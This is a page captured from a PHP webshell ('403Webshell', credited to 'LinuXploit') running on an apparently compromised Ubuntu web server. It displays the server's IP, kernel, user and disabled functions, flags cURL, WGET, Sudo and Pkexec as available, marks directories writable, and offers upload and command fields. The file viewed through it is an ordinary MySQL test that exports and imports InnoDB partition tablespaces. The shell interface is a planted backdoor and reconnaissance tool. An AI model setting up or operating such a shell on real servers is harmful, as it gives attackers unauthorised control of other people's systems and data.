403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.189.48
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/max_parts/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/max_parts/t/innodb-import-partition-1.test
#------------------------------------------------------------------------------
# Wl6868/wl6867 - Transportable tablespace with partitioned table
# Test creates table with 8192 partition and does import/export of idb files
#------------------------------------------------------------------------------

# Not supported in embedded
--source include/not_embedded.inc

--source include/have_innodb.inc
--source include/have_partition.inc

# Test take time to run due to max partitions
--source include/big_test.inc

LET MYSQLD_DATADIR = `select @@datadir`;

--disable_result_log
DROP TABLE IF EXISTS t1;
--enable_result_log

perl;

    my $tmpd = $ENV{'MYSQLTEST_VARDIR'} . "/tmp";
    open FH,">$tmpd/part_table.txt";
    my $partition_clause = " create table t1 (i int) engine = innodb PARTITION BY RANGE (MOD(i,8192)) (";
    my $insert_clause = "INSERT INTO t1 VALUES ";
    for($i=0;$i<8191;$i++){
       $partition_clause = $partition_clause . " PARTITION p$i VALUES LESS THAN ($i),";
       $insert_clause = $insert_clause . " ($i) ,";
    }
    $partition_clause = $partition_clause . " PARTITION p$i VALUES LESS THAN (8192)) ;";
    $insert_clause = " $insert_clause (8191) ;";
    print FH "$partition_clause\n";
    print FH "$insert_clause\n";
    close(FH);
EOF

# Create table with 8192(max) partitions and insert 8192 rows
# log is disabled to avoid long create/insert in result file
--disable_query_log
source $MYSQLTEST_VARDIR/tmp/part_table.txt;
--enable_query_log

SELECT COUNT(*) FROM t1;
FLUSH TABLES t1 FOR EXPORT;

--disable_result_log
perl;
do 'include/innodb-util.inc';
for($i=0;$i<=8191;$i++){
   ib_backup_tablespaces("test", "t1#P#p$i");
}
EOF
--enable_result_log

UNLOCK TABLES;

DROP TABLE t1;

# Create table with 8192 partitions and insert 8192 rows
# log is disabled to avoid long create/insert in result file
--disable_query_log
source $MYSQLTEST_VARDIR/tmp/part_table.txt;
--enable_query_log
select count(*) from t1;
DELETE FROM t1;
select count(*) from t1;
ALTER TABLE t1 DISCARD PARTITION p0,p1,p2,p3,p4,p5,p6,p7,p8 TABLESPACE;

perl;
do 'include/innodb-util.inc';
ib_discard_tablespaces("test", "t1#P#p0", "t1#P#p1", "t1#P#p2","t1#P#p3","t1#P#p4","t1#P#p5","t1#P#p6","t1#P#p7","t1#P#p8");
ib_restore_tablespaces("test", "t1#P#p0", "t1#P#p1", "t1#P#p2","t1#P#p3","t1#P#p4","t1#P#p5","t1#P#p6","t1#P#p7","t1#P#p8");
EOF

ALTER TABLE t1 IMPORT PARTITION p0,p1,p2,p3,p4,p5,p6,p7,p8 TABLESPACE;
SELECT * FROM t1 PARTITION (p0,p1,p2,p3,p4,p5,p6,p7,p8) ORDER BY i;
SELECT * FROM t1 ORDER BY i;
ALTER TABLE t1 DISCARD PARTITION p9,p10 TABLESPACE;
SELECT * FROM t1 PARTITION (p0,p1,p2,p3,p4,p5,p6,p7,p8) ORDER BY i;
ALTER TABLE t1 DISCARD PARTITION all TABLESPACE;

--disable_result_log
perl;
do 'include/innodb-util.inc';
for($i=0;$i<=8191;$i++){
   ib_discard_tablespaces("test", "t1#P#p$i");
   ib_restore_tablespaces("test", "t1#P#p$i");
}
EOF
--enable_result_log

ALTER TABLE t1 IMPORT PARTITION all TABLESPACE;
SELECT * FROM t1 PARTITION (p0,p1,p2,p3,p4,p5,p6,p7,p8) ORDER BY i;
SELECT COUNT(*) FROM t1 ORDER BY i;
SELECT * FROM t1 WHERE i%1000 = 0 ORDER BY i;
DROP TABLE t1;

#cleanup
call mtr.add_suppression("InnoDB: Cannot calculate statistics for table .* because the .ibd file is missing");
call mtr.add_suppression("InnoDB: Cannot delete tablespace .* in DISCARD TABLESPACE. Tablespace not found");
call mtr.add_suppression("InnoDB: Cannot delete tablespace .* because it is not found in the tablespace memory cache.");
call mtr.add_suppression("InnoDB: Trying to import a tablespace, but could not open the tablespace file");
call mtr.add_suppression("InnoDB: Operating system error number 2 in a file operation.");
call mtr.add_suppression("InnoDB: The error means the system cannot find the path specified.");

--remove_files_wildcard $MYSQLTEST_VARDIR/tmp t1*.ibd
--remove_files_wildcard $MYSQLTEST_VARDIR/tmp t1*.cfg
--remove_files_wildcard $MYSQLTEST_VARDIR/tmp part_table*.txt

Youez - 2016 - github.com/yon3zu
LinuXploit